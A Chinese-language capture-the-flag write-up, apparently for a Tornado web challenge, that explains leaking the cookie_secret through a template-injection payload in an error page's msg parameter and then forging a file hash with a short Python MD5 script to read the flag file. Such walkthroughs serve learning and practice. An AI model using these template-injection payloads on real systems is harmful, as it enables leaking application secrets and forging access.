点开hints.txt
提示cookie_secret+md5(filename)的md5
那就需要先知道cookie_secret和filename
查看/flag.txt
flag in /fllllllllllllag
查看/welcome.txt(提示模板注入)
render()函数是Django中的渲染,想到ssti
tornado.web.Application对象初始化赋予cookie_secret参数,用于保存本网站cookies加密密钥
根据/hints.txt中的信息,filename=/fllllllllllllag的md5:3bf9f6cf685a6dd8defadabfb41a03a1
先直接访问和在参数位置访问一下/fllllllllllllag看看
返回ERROR
然后就是这段代码md5(cookie_secret+md5(filename)) 我们根据之前打开文件的url参数分析这个就是filehash的值 想获得flag只要我们在url中传入/fllllllllllllag文件和filehash 经过这段代码处理的值即可关键就在这cookie_secret这块 我们得想办法获得cookie_secret
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量
payload:
http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/error?msg={{handler.settings}}
成功拿到cookie_secret
在经过md5处理,此处通过py脚本
import hashlib
hash = hashlib.md5()
filename='/fllllllllllllag'
cookie_secret="ee700b2d-63a7-40fb-a52c-2df6ccd7f4fa"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
得到结果
payload:
file?filename=/fllllllllllllag&filehash=4902375dc38dfcc2892f431dae5e08a7
得到flag